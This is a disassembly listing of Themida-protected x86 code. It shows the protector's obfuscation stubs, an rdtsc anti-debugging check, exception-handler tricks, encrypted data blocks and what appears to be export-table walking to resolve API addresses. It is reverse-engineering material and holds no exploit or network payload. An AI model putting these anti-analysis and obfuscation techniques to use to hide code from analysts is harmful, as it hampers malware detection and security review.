call sub_5B4EC3
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B4EC3 proc near ; CODE XREF: Themida_:005B4EBBp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5B4EC3 endp
; ---------------------------------------------------------------------------
db 25h
dd 0A87921C5h, 0ED976B14h, 18A0FDAh, 0F9000000h, 9490858Dh
dd 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 67B7C1C3h, 4990AEEBh, 89818E1Eh, 122719B5h
dd 0EE906h, 70740000h, 0F4951B03h, 141CC77Fh, 0CD94700Fh
dd 60016089h, 0AD85BB66h, 5FE961F9h, 6A000002h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 8F5EC355h, 9D89544Bh, 6122009h, 0E8DB8Bh, 5D000000h
dd 9489ED81h, 9CBC0615h, 830012FFh, 122855BDh, 18740006h
dd 18A9858Bh, 0C60612h, 0F1858B00h, 0C6061213h, 95FF0000h
dd 6122E3Dh, 74B5FF60h, 8D06157Eh, 157E7885h, 858D5006h
dd 6158070h, 2195FF50h, 83061213h, 0F610CC4h, 108Ah, 0A850F00h
dd 0E9000000h, 5, 0A2DC5B95h, 0B58DF5E8h, 6158070h, 0EE96060h
dd 48000000h, 0A7348F61h, 0DBFD6126h, 0F0450C55h, 0D38166FCh
dd 8B61F963h, 0BD8D61C3h, 612091Dh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 0A8C35545h, 0C72A6F4Bh, 86563701h
dd 2111B529h, 3E800612h, 3C840F00h, 6A000000h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 4FA3C351h, 0C3EA2DA1h, 870FF963h, 6, 35D8D89h, 89A40612h
dd 12163DB5h, 0FFBCE906h, 2BFCFFFFh, 178B0FC0h, 0E9000000h
dd 12h, 60904F8Ch, 18F69FC9h, 8BB39CF3h, 0AEC082F0h, 6AAA341Fh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 0E9F8C353h, 0Eh, 7467BAE7h, 318117F6h, 1960C0B4h
dd 7B87973h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 5975C356h, 0F04BBB97h
dd 6585C7C2h, 1061234h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 2E7BC353h
dd 8DF83371h, 124E4B8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 8B60545Ch, 122F158Dh
dd 13860F06h, 0E9000000h, 0Eh, 86572D7Ch, 4880DD4Bh, 4C67427Eh
dd 0FF61D766h, 56006AE1h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1604h, 0C3564600h, 299BF491h, 12346195h
dd 245C8B06h, 0E8550Ch, 5D000000h, 9699ED81h, 838B0615h
dd 0B8h, 7E748589h, 858D0615h, 6159482h, 0B88389h, 335D0000h
dd 0E960C3C0h, 13h, 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0BB466CD3h
dd 613462C8h, 666060F9h, 89BF54BEh, 1230A1BDh, 95296106h
dd 6121885h, 9834858Dh, 0AE90615h, 6A000000h, 9776028Ch
dd 0E567E14Eh, 8B6050E7h, 8E860C3h, 27000000h, 33FDC9DEh
dd 5AEA0CA4h, 61615956h, 0F240489h, 1486h, 0FE900h, 7F6C0000h
dd 59B350Fh, 1AB004CDh, 0E360EA78h, 35FF64A2h, 0
; ---------------------------------------------------------------------------
jmp loc_5B5224
; ---------------------------------------------------------------------------
db 38h, 2Fh, 58h
dd 4FAF4E5Dh, 0FF16577Dh
; ---------------------------------------------------------------------------
loc_5B5224: ; CODE XREF: Themida_:005B5214j
mov large fs:0, esp
pusha
mov bh, 44h
push edx
mov ebx, [ebp+6121965h]
pop ebx
popa
lea eax, [ebp+61598C4h]
mov [ebp+6121751h], ebx
mov [eax+1], esp
mov [ebp+612246Dh], edi
mov byte ptr [ebp+61215C1h], 4Fh
jmp loc_5B525F
; ---------------------------------------------------------------------------
dd 0F4121BAAh
db 2, 0CEh, 0D5h
; ---------------------------------------------------------------------------
loc_5B525F: ; CODE XREF: Themida_:005B5253j
push 0D07E83BFh
push eax
push edx
jp loc_5B5272
jz $+6
loc_5B5272: ; CODE XREF: Themida_:005B5266j
rdtsc
jnz loc_5B527C
pusha
popa
loc_5B527C: ; CODE XREF: Themida_:005B5274j
pop edx
pop eax
add dword ptr [esp], 2E49F06Bh
js loc_5B5296
pusha
mov [ebp+6121E29h], esi
mov cx, bx
popa
loc_5B5296: ; CODE XREF: Themida_:005B5285j
push dword ptr [ebp+6123101h]
push 0
push edi
call sub_5B52A7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B52A7 proc near ; CODE XREF: Themida_:005B529Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 18h
inc edi
push edi
retn
sub_5B52A7 endp
; ---------------------------------------------------------------------------
imul ecx, [eax-7Fh], 8DFC657Ch
test [edx-7Eh], edi
adc eax, 698D8906h
add [edx], dl
push es
call eax
push 0
push edx
call sub_5B52D6
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B52D6 proc near ; CODE XREF: Themida_:005B52CEp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ch
inc edx
push edx
retn
sub_5B52D6 endp
; ---------------------------------------------------------------------------
xchg bl, [esi-5B446D9Dh]
xchg eax, esp
add esi, eax
pusha
jno loc_5B52FB
add di, 0E8CBh
loc_5B52FB: ; CODE XREF: Themida_:005B52F0j
mov esi, [ebp+6122DB5h]
popa
cld
jmp loc_5B539E
; ---------------------------------------------------------------------------
sub [ebp+6121DFDh], edx
mov ebx, [esp+0Ch]
push ebp
call $+5
pop ebp
sub ebp, 615983Eh
mov eax, [ebp+61217F1h]
mov [ebp+6123101h], eax
mov eax, [ebp+612335Dh]
mov [ebp+6120381h], eax
mov eax, [ebp+6122FD1h]
mov [ebp+612116Dh], eax
mov byte ptr [ebp+61215C1h], 0
mov dword ptr [ebp+61583D2h], 0
lea eax, [ebp+61598C4h]
mov [ebx+0B8h], eax
pop ebp
xor eax, eax
retn
; ---------------------------------------------------------------------------
mov [ebp+6123099h], ecx
push 0
push eax
call sub_5B5375
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B5375 proc near ; CODE XREF: Themida_:005B536Dp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5B5375 endp
; ---------------------------------------------------------------------------
lahf
push ds
jmp loc_5B539E
; ---------------------------------------------------------------------------
dd 0F8AF6168h, 402ABE9Bh, 0EE3478F4h, 22AA4322h
db 0A7h, 0F4h
; ---------------------------------------------------------------------------
loc_5B539E: ; CODE XREF: Themida_:005B5303j
; Themida_:005B5387j
mov esp, 12FF74h
push 0
push ebp
call sub_5B53AE
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B53AE proc near ; CODE XREF: Themida_:005B53A6p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5B53AE endp
; ---------------------------------------------------------------------------
neg dword ptr [eax+2Bh]
test ds:89061204h, esi
mov ch, 0F5h
add dl, [edx]
push es
popa
pusha
jle loc_5B53EC
jmp loc_5B53EC
; ---------------------------------------------------------------------------
dw 95BAh
dd 588FD57Dh, 8BA6D3BDh, 70987BA5h, 4C3ED2A7h
; ---------------------------------------------------------------------------
loc_5B53EC: ; CODE XREF: Themida_:005B53CFj
; Themida_:005B53D5j
or [ebp+6121221h], ebx
popa
pop large dword ptr fs:0
jmp loc_5B5411
; ---------------------------------------------------------------------------
xchg eax, edi
dec edi
cmc
adc eax, 0FD1DB01Dh
aas
xor edx, ebp
ffreep st(6)
sub esp, [eax]
xor edi, [ecx-6]
loc_5B5411: ; CODE XREF: Themida_:005B53FAj
add esp, 4
push 0
push eax
call sub_5B541F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B541F proc near ; CODE XREF: Themida_:005B5417p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Bh
inc eax
push eax
retn
sub_5B541F endp
; ---------------------------------------------------------------------------
pop ss
mov ds:1E6D4AA1h, al
retf 0E9E2h
; ---------------------------------------------------------------------------
dd 10h, 748D8466h, 7216D044h, 538E009Ch, 785864B8h, 83E961h
dd 51530000h, 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh
dd 0B70F0000h, 0D8033C43h, 503B8166h, 57850F45h, 8B000000h
dd 5C03785Bh, 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h
dd 20247C03h, 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch
dd 83202454h, 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h
dd 0E075033Ah, 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h
dd 0C25B595Ah, 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh, 148h
dd 48h, 4Ch, 50h, 54h, 58h, 5Ch, 60h, 64h, 0A8h, 0ACh
dd 0B0h, 0B4h, 0B8h, 0BCh, 0C0h, 0C4h, 0C8h, 0CCh, 0D0h
dd 0D4h, 0D8h, 0DCh, 0E0h, 0E4h, 38h dup(0)
; ---------------------------------------------------------------------------
cmp al, 55h
pop ebx
add [ebx], al
retn 0B3h
; ---------------------------------------------------------------------------
lea eax, [ebp+6159A02h]
mov edi, [ebp+6120B79h]
mov [ebp+6159B42h], eax
or edi, 495E8C2Eh
mov byte ptr [ebp+61215C1h], 54h
xor esi, [ebp+61231EDh]
push 0B79AEB95h
mov ecx, 491DC64Dh
add dword ptr [esp], 36C77C94h
sub edx, [ebp+61212BDh]
push dword ptr [ebp+6123101h]
cld
lea eax, [ebp+615827Ah]
mov edx, 7274DBF5h
call eax
jmp loc_5B5686
; ---------------------------------------------------------------------------
db 0C7h, 1Fh, 97h
dd 81ECF231h, 9E48A038h
db 8Dh, 0F6h
; ---------------------------------------------------------------------------
loc_5B5686: ; CODE XREF: Themida_:005B5674j
mov [ebp+6159B46h], eax
jp loc_5B5698
mov [ebp+6122999h], eax
loc_5B5698: ; CODE XREF: Themida_:005B568Cj
push eax
pop edx
jmp loc_5B56E1
; ---------------------------------------------------------------------------
mov ecx, eax
movzx edi, di
push esi
mov esi, [ebp+6159B42h]
mov [esi], eax
add dword ptr [ebp+6159B42h], 4
pop esi
retn
; ---------------------------------------------------------------------------
pusha
lea esi, [ebp+6159A02h]
jmp short loc_5B56CE
; ---------------------------------------------------------------------------
loc_5B56BF: ; CODE XREF: Themida_:005B56D1j
push esi
push 0
push dword ptr [esi]
call dword ptr [ebp+6159B46h]
pop esi
add esi, 4
loc_5B56CE: ; CODE XREF: Themida_:005B56BDj
cmp dword ptr [esi], 0
jnz short loc_5B56BF
popa
retn
; ---------------------------------------------------------------------------
and edx, 48EA972h
or [ebp+6121A1Dh], ecx
loc_5B56E1: ; CODE XREF: Themida_:005B569Aj
lea eax, [ebp+6159BDCh]
mov esi, [ebp+6122C41h]
mov [ebp+6121D65h], eax
call sub_5B56FE
mov ds:9F1E6884h, eax
cmc
; =============== S U B R O U T I N E =======================================
sub_5B56FE proc near ; CODE XREF: Themida_:005B56F3p
jge loc_5B570A
mov ebx, [ebp+612180Dh]
loc_5B570A: ; CODE XREF: sub_5B56FEj
pop esi
or [ebp+61208C1h], ecx
add esi, 719Ah
push ecx
pusha
sub eax, [ebp+6122DFDh]
jmp loc_5B572F
; ---------------------------------------------------------------------------
dd 6F976D0Dh, 9556F446h
; ---------------------------------------------------------------------------
add ebp, esi
aaa
loc_5B572F: ; CODE XREF: sub_5B56FE+21j
popa
pop ecx
mov edx, 40C8451Fh
add edx, 0BF37D710h
cmc
loc_5B573D: ; CODE XREF: sub_5B5756+76j
push dword ptr [esi]
call sub_5B5756
imul ecx, [esi-6660ADBCh], 52h
retn 5EC1h
sub_5B56FE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 3ADh
dd 0EBBBF7C6h
; ---------------------------------------------------------------------------
mov dl, 0A6h
; =============== S U B R O U T I N E =======================================
sub_5B5756 proc near ; CODE XREF: sub_5B56FE+41p
var_2A = dword ptr -2Ah
; FUNCTION CHUNK AT 00583BD9 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 00583E3D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00583F57 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058418B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00586600 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00587136 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058AE74 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058BE67 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0058D29F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058DD70 SIZE 00000010 BYTES
pusha
pusha
popa
mov [ebp+6120851h], ecx
popa
pop ecx
pop edi
sub edi, 209BFA8Ch
mov [ebp+6121A95h], esi
add edi, 76F0BCE1h
pusha
js loc_5B5781
sub [ebp+6120B71h], ebx
loc_5B5781: ; CODE XREF: sub_5B5756+1Fj
or ecx, [ebp+61215B5h]
popa
add edi, 0FABC9F5h
ja loc_5B579A
sub [ebp+61221BDh], ebx
loc_5B579A: ; CODE XREF: sub_5B5756+38j
mov [esi], edi
cmc
sub esi, 3
mov ebx, [ebp+6120B5Dh]
dec esi
dec edx
jnz loc_5B57C6
movzx eax, bx
jmp loc_5B57DA
; ---------------------------------------------------------------------------
dw 4B16h
dd 0E90DFACDh, 0B271FFB7h, 56CD6F04h
; ---------------------------------------------------------------------------
cmp al, 69h
loc_5B57C6: ; CODE XREF: sub_5B5756+52j
mov [ebp+6121679h], edi
jmp loc_5B573D
; ---------------------------------------------------------------------------
db 51h, 25h, 57h
dd 0EA2990CEh
; ---------------------------------------------------------------------------
cmpsd
dec esp
loc_5B57DA: ; CODE XREF: sub_5B5756+5Bj
jmp loc_5B58F3
; ---------------------------------------------------------------------------
db 0BCh
dd 97608111h, 838A055Ch, 1D76A188h, 0DD7A0E0Ah, 3733538Fh
dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
dd 3D577DD7h, 0D55FEDF7h, 37335375h, 557D2F6Dh, 7F2D773Dh
dd 7DD77DD5h, 6D171E57h, 602075DFh, 20206020h, 2060E0E0h
dd 0F77B68ACh, 20A1E4A9h, 0A693B2D0h, 0B99DB7EDh, 0ACA3F291h
dd 60206020h, 20206020h, 2060E0E0h, 0A335375h, 557D2F0Dh
dd 60206020h, 0A7286020h, 50F0362Bh, 0B6F360C9h, 0F796A1EFh
dd 0E3A7B4E0h, 0F47192B8h, 6DB9E9B3h, 602060F7h, 60206020h
dd 6DF72020h, 73351ADFh, 3D577DD7h, 0D55FEDF7h, 37335375h
dd 557D2F6Dh, 7F2D773Dh, 7DD77DD5h, 6DF73D57h, 73D575DFh
dd 3D577DD7h, 0D55FEDF7h, 37335375h, 357D2F6Dh, 0E0A1Eh
dd 0D25D3407h, 1E59A0A3h, 0Bh dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5B58F3: ; CODE XREF: sub_5B5756:loc_5B57DAj
jmp loc_5B651F
; ---------------------------------------------------------------------------
push 615A041h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A16Bh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A23Fh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A2FDh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A390h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A456h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A591h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A68Bh
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A731h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A7E8h
jmp loc_583BD9
; ---------------------------------------------------------------------------
push 615A897h
jmp loc_583BD9
; ---------------------------------------------------------------------------
dw 0ABE6h
dd 0E7E1764h, 6F1BB401h, 0D5BA53A0h, 3954ED3Ah, 1C9989D6h
dd 754BBD2h, 0A5F21D6Eh, 3E8B840Ch, 0D926E9A5h, 0DFA8B0FFh
dd 9C4DF4FDh, 1C72E9BFh, 9C1D34F3h, 14DD3E19h, 97F0A042h
dd 0E447E047h, 986146D9h, 0C7C0C8F3h, 0B447E047h, 483A4D55h
dd 3E4947E0h, 9D3368D3h, 18D5889h, 5B64C10Eh, 7BAFB776h
dd 0A49F264h, 8D01CAFFh, 0F29C3582h, 0BED0E81Dh, 0EA4DF22Bh
dd 0B8DEC243h, 7DA63718h, 4A439EEAh, 0DB10FF91h, 2A647508h
dd 3C719EEFh, 0C3F81773h, 0CD1A85F0h, 80B55A34h, 7938D7B7h
dd 0AC3FD0C0h, 7D64E8C7h, 0A6F31C72h, 0AEB2D1B1h, 5420624h
dd 72580000h, 0F5BEF31Ch, 0FEB77699h, 784B808Fh, 828BE8E5h
dd 0C2CCD493h, 0C549F18Ch, 1E6D85BAh, 0D54DF18Fh, 616128B9h
dd 4924AECDh, 0DD12FD90h, 3875770Ah, 86000000h, 1D52BDCDh
dd 6BD63954h, 0A5AEAAD8h, 0CDF901C0h, 1149F17Eh, 44D73858h
dd 0A4BCF1FCh, 4DF180E7h, 0D14CCD0Ch, 4EAB252Eh, 0B72A7609h
dd 0AE0BF0D0h, 0E92524h, 72770000h, 0F0979F1Ch, 9347DF5Fh
dd 1FE81D88h, 456CA16Eh, 7B15048Ch, 21F42994h, 602D5A62h
dd 434E47DFh, 20EF9FB0h, 0A36C22EBh, 5C306E56h, 404E47DFh
dd 0A5E982CFh, 0DF305D16h, 6027D7AAh, 2347DF62h, 0EB78AD18h
dd 2C34F3E2h, 49F163AEh, 64C10E19h, 0A0B7765Bh, 0F167EF98h
dd 0EE818C4Dh, 0B0F777Fh, 964F5004h, 0A46B20F9h, 9E319C6Fh
dd 0E3365556h, 5A2D62ADh, 7CE7BAEFh, 868904BDh, 2CEDA039h
dd 0C746B15Eh, 0EDB356AAh, 66BC8328h, 31000009h, 0C962AF60h
dd 66FF4CC3h, 59EEB24h, 9F38858Ah, 0E4D421EEh, 9F701DD1h
dd 3DD2B952h, 0D63957F0h, 719EF089h, 0F3FB4A24h, 4DF4FF94h
dd 14340AE7h, 0A8DD325Bh, 5C3142D5h, 503BF4B3h, 962F2CBFh
dd 9F5817F8h, 16E91EF1h, 0D68F8683h, 0E62965B4h, 3E73DEB1h
dd 14AAD86Bh, 7B3B7B93h, 3F474119h, 47E04648h, 32C5303Bh
dd 0AE6D545Dh, 0F26620A6h, 9D5C6749h, 3065AAE4h, 0CDE5CA5Dh
dd 4DF225BEh, 0C1C81935h, 24AE38C1h, 0E516h, 8102700h
dd 4DF2317Fh, 305EF1FCh, 0D9351C72h, 142A1DCEh, 0D7121FCCh
dd 0C22DF687h, 34592257h, 0FE7FA6DBh, 57E8360Eh, 6ACA5DCAh
dd 47DFCD34h, 7ECB444Ah, 1A70A9E5h, 82EDC0F5h, 1F6D264Dh
dd 8C94BBF0h, 47DFD1FBh, 7F127D88h, 0F5B4A1AAh, 8CC14E3Ch
dd 0AFB726B9h, 49F1D32Bh, 17D08F9Ah, 0D0619679h, 6E43D1B3h
dd 1CDB466Ch, 0F1727314h, 7205104Dh, 220F1875h, 15385B63h
dd 202B5004h, 2AE5A861h, 365E6DDh, 2A2EF300h, 0ABE2F386h
dd 239EE564h, 8F34EDB3h, 83CC8h, 858A0700h, 22ED9F38h
dd 0C14E3CD5h, 5BB4DB74h, 0F718750Eh, 0F3FBBAAAh, 8F28759Ah
dd 2DC613FCh, 0C65FAC63h, 20FA47C8h, 0BEC9D1h, 0E0BD4DF5h
dd 0F41B720Ah, 98F7B0A7h, 0DC6F4277h, 0FF4CC3CBh, 0DC188708h
dd 4BCF69DEh, 1C728AB8h, 99F5BEF3h, 8DFEB776h, 82F2EF82h
dd 939516D9h, 456F6355h, 0D4DDB245h, 96172EEDh, 757D62E3h
dd 47DF6912h, 7D3D6671h, 0ACDBE39Eh, 0CF47DFA4h, 66C659C4h
dd 49F1BAE8h, 0E3C3141Fh, 471A1BC2h, 0B7765B64h, 0CBB2DFAFh
dd 0C7C67F42h, 0E4EC1348h, 46A774A3h, 0D76AD5E0h, 0C24F848Fh
dd 50DCCB9h, 48BAEF10h, 162DECF7h, 4FE22D5Dh, 72BF503Eh
dd 45CAC27Bh, 2E63ACE4h, 0D7B7C85Bh, 6490B938h, 0BD621568h
dd 768F6h, 0B15E3300h, 4EC1CB64h, 0ED226801h, 878807A0h
dd 23ECA13Ah, 1FCFE6D6h, 0BB54A16Eh, 59F23FD0h, 0F28BD837h
dd 4C26739Ch, 192F5FDh, 14F14DF5h, 0F31C723Eh, 392831BEh
dd 5990727Ah, 949F49F1h, 0EBCF5047h, 906F0B89h, 57229F87h
dd 0CD38E17Ch, 755C653Ah, 85BFAEB6h, 0B9C45005h, 652AE3FAh
dd 0E0AC75AAh, 0BC27FA2Fh, 0A3761829h, 0BFC8D0EBh, 0BC47E674h
dd 7D1D46B1h, 0D408796Ch, 0C98241ACh, 46194EC1h, 711DB6B3h
dd 0D3DC699Eh, 5F272FEEh, 0FF49FA6Ch, 90C54A46h, 0D7E22ABDh
dd 0E02F5F18h, 8594FA93h, 659A050Ah, 23E2CFD8h, 466571Bh
dd 0BC3B4650h, 0EDB50B83h, 0AAE3AA4Fh, 75000006h, 0DA6F31Ch
dd 0AA43907Fh, 49E22FE0h, 0E37CC946h, 281865AAh, 0E32C618Dh
dd 818EFD96h, 1AF59B34h, 0B55A34CDh, 373F8E68h, 4DF50150h
dd 14805633h, 0A5DA355Bh, 616A3FD2h, 1D9EB574h, 5FDDBB19h
dd 62C25513h, 49F3AD5Ch, 0C881404Bh, 0D18A49C6h, 0C6C356B9h
dd 79AE612Dh, 3FFEE3ECh, 780B0486h, 80010109h, 4C055006h
dd 0C699CE41h, 8388FF07h, 0F0FB47E6h, 0D94C155Dh, 87F878Dh
dd 7B47E694h, 0CB8C4770h, 1B3EBD28h, 0F7EDB281h, 6178B52h
dd 0AFE20000h, 127A1360h, 7317B0FDh, 0D9B64F9Ch, 3D50E936h
dd 209585D2h, 350BFCEh, 0A1EE216Ah, 3A878808h, 0D522EDA1h
dd 0E3A4ACFBh, 0A04DF502h, 0A5AEEDC3h, 0E2EA01C0h, 47DF5FA5h
dd 0C938CBD6h, 0F2FDACC1h, 0ED33B449h, 0B7F09C9h, 4F5AA235h
dd 62B7D790h, 0DCAFE42Bh, 0D631B271h, 877620BDh, 15AEAB3Eh
dd 0D4619679h, 6E27E6CBh, 0EB5AED22h, 820A3E3h, 0BB2AAB50h
dd 0D1313BD8h, 9DA8F083h, 0B06925DEh, 0BE513CDDh, 0EA4B1E53h
dd 613469A6h, 7E10A9F6h, 0C6CF5C91h, 39B9BD21h, 8BEC12C8h
dd 4D70C03h, 6B21DA99h, 99C6FA4h, 38E0929Ah, 70CF49F2h
dd 0F2061F68h, 0E6515C4Dh, 0A755C467h, 0A2690EEBh, 551h
dd 4D9A751Ch, 0EA37D8B4h, 89D63951h, 23709FF0h, 0BF0C038Ah
dd 8508E6CFh, 0E7A43D8Ah, 4E42DB28h, 0B3DB74C1h, 0E6350F5Ch
dd 0F503A9DEh, 27FDDA4Dh, 0BEF31C72h, 62ADDE97h, 939B5A2Dh
dd 47DF5FF4h, 0D8E97C87h, 0AF0C59B6h, 0F800BFA6h, 49F18C96h
dd 957A11CAh, 0D2B9BA02h, 0CA35083Dh, 8F0E7D95h, 0C9E54DF1h
dd 0CD117118h, 25C624AEh, 18000000h, 1C0A5AEh, 0F17ECDF9h
dd 0F82D3849h, 0F180ABE0h, 5009484Dh, 0F440D33Ch, 0DF2EA6EDh
dd 0E8FB24AEh, 4D000000h, 0DC335B14h, 2B7BCBB3h, 0B84BDB69h
dd 0F328E7A7h, 77AC632Ah, 0D3DBE0AEh, 47DFE1B4h, 46C9C6C7h
dd 723B70DBh, 0BEA6F31Ch, 47DFDDE0h, 722B90FEh, 4641F11Eh
dd 3547DFE0h, 0E900BF2Ah, 0DFE0A6E1h, 37CAD547h, 22EDA13Ah
dd 6A5760EDh, 0FB8C94ABh, 0F747DFE0h, 0FC7E3D78h, 1F20B839h
dd 0A0339E71h, 2B611A31h, 65F151E4h, 2949F238h, 62F51A70h
dd 65C20F1Ah, 9FB6755Ch, 1674A5E6h, 9BFB8EF9h, 5004E580h
dd 0E0995863h, 7C1562ADh, 0E5A2AA11h, 0CD47E5AEh, 481B50BFh
dd 0BB3AA5B0h, 0EDB3BC7Ah, 160CD378h, 0E1000004h, 79125FB0h
dd 16AFFC13h, 0B54E9B74h, 4FE835DAh, 9484D13Eh, 4FC0CD21h
dd 0ED226902h, 868907A0h, 21EEA039h, 0A3ABFAD4h, 4DF504E4h
dd 72E4BA97h, 7C35F41Bh, 0F6C9FE11h, 0C1CD6663h, 0AE4B014Eh
dd 0F901C0A5h, 49F17ECDh, 0DB345811h, 0F840D3A6h, 0EBA0B8EDh
dd 84DF180h, 947B10C9h, 21B45B33h, 0D850CD5h, 0DA24AEDFh
dd 0C9h, 9F1C722Ch, 2060D61Eh, 8D3D0377h, 47E009FAh, 0AB43CCC0h
dd 370035A0h, 0E3FAB956h, 0FEAE612Ah, 47E00989h, 775CEFFAh
dd 0E0063F5Fh, 4846FF47h, 2CBF92C7h, 4048731Bh, 47E00847h
dd 0B5EA256Bh, 0D43F4AE2h, 6FA0EE87h, 0BDA4AD3Ah, 0CA4545FEh
dd 0C02FC295h, 0F2019EB8h, 86080949h, 74D11E89h, 0EC7866Bh
dd 8FFE917Eh, 4AD3787h, 0E0AE6750h, 5C31FA2Fh, 6DB548B3h
dd 0A3EAA362h, 7861F6Ch, 0F2B68908h, 37DCEDB3h, 31C70h
dd 65AAE700h
dd 20D7F18h, 0A16E1CB5h, 3BD4BB54h, 0D73855EEh, 0D31B9A8Ah
dd 6F0855BAh, 0DA6F31Ch, 0A63F8C83h, 0DA27E8h, 5DEA9B1h
dd 0C09D4DF5h, 0F41B72EAh, 99800EA7h, 65B21DF2h, 0F31C72AFh
dd 7699F5BEh, 77A4B929h, 0C0C8876Eh, 49F1758Eh, 0BD9DEEF9h
dd 0B1A4EB66h, 0CB8A7780h, 18BC4BC3h, 0F4FC13ECh, 0EC14BF93h
dd 0A52E5F0h, 8CA3CAFFh, 0A656B9D3h, 0EC14BFE1h, 275CB3D9h
dd 1EB1BC54h, 92514049h, 283A8B8Ah, 0AE6D78EEh, 1A2299F5h
dd 0EA00416Dh, 4B98030Eh, 0B433DCB2h, 4F951169h, 761DE489h
dd 41000002h, 0D972BF50h, 760F5CB3h, 15AEFB14h, 0AF48957Ah
dd 0F4E431DEh, 0AF602DC1h, 4DC2C962h, 0E6296700h, 818E0099h
dd 30B5A34h, 4DF50684h, 72441AF7h, 31BEF31Ch, 0C17A3928h
dd 42B144CBh, 0F718722Bh, 82820464h, 0FA0549F1h, 0F9123DADh
dd 3A4201F0h, 5003A214h, 28176873h, 977E0911h, 3C6C47DFh
dd 0C0B1BA99h, 0CD606B03h, 4E34226Dh, 967B8483h, 97BFCFD7h
dd 0C5C6067Fh, 1DDC47C8h, 9789FE06h, 0EFFA027Bh, 9750775Ch
dd 0B08518F7h, 0F3FBBAA7h, 48F1222h, 8E470611h, 29C20F00h
dd 7B78EC65h, 0A74D0D7Eh, 95CA4546h, 7BD857C2h, 77513C00h
dd 1BF0BD2h, 78A0000h, 6A22BB08h, 0CBBF58A5h, 315EF744h
dd 95F891DEh, 783D2D7Ah, 0ABF81776h, 49967912h, 0E22FE0B0h
dd 7DCA4549h, 3B4C54A3h, 484DF507h, 1C72956Bh, 127B34F3h
dd 0F8856AFDh, 3B4302EFh, 49F15B93h, 729DF1F2h, 0FC4ABA07h
dd 4A09F801h, 0CA53B233h, 9F9D1FA3h, 25B823ECh, 3B889C5h
dd 20717C50h, 0D099A740h, 573E479Eh, 61AEDF98h, 0F1848B00h
dd 49147A82h, 687302E4h, 39530C33h, 656E43D6h, 5CB9C180h
dd 4B08D365h, 0D6008140h, 8B320A7h, 46FF6E01h, 837AC748h
dd 184DC2CAh, 0EDA1B245h, 5CBAA322h, 0F3985540h, 1102Ch
dd 59B6DB00h, 0F619730Ch, 957A10A9h, 2FE0AF48h, 0CB4449E2h
dd 0C7278E7Eh, 63FC49C6h, 19AE728h, 9A33808Fh, 0F4CE1BF4h
dd 7EA9DA5h, 0BC994DF5h, 249314E6h, 8E7DD2A4h, 8BC04F41h
dd 9A244DB8h, 0F41F5C33h, 9DF10295h, 96FAB372h, 99040B83h
dd 19FE9164h, 424A838Ch, 47DFF945h, 0BAEF206Dh, 3A864FE7h
dd 7DD6BC4Bh, 7C1273DEh, 208B5E93h, 2CE3A861h, 0D0222A99h
dd 0BF49F199h, 922F5860h, 414C4DF1h, 232C89D6h, 91A5E2EAh
dd 77D64DF1h, 0F192186Fh, 0F5606B4Dh, 0C7C3CB8Ah, 0B6500524h
dd 0CE4F76ABh, 4E46F2B0h, 0C2D366CDh, 5DF643CCh, 68A7E831h
dd 0F9B0C8FDh, 0F0E97984h, 0A4EA05DCh, 10271E6Bh, 732E7F08h
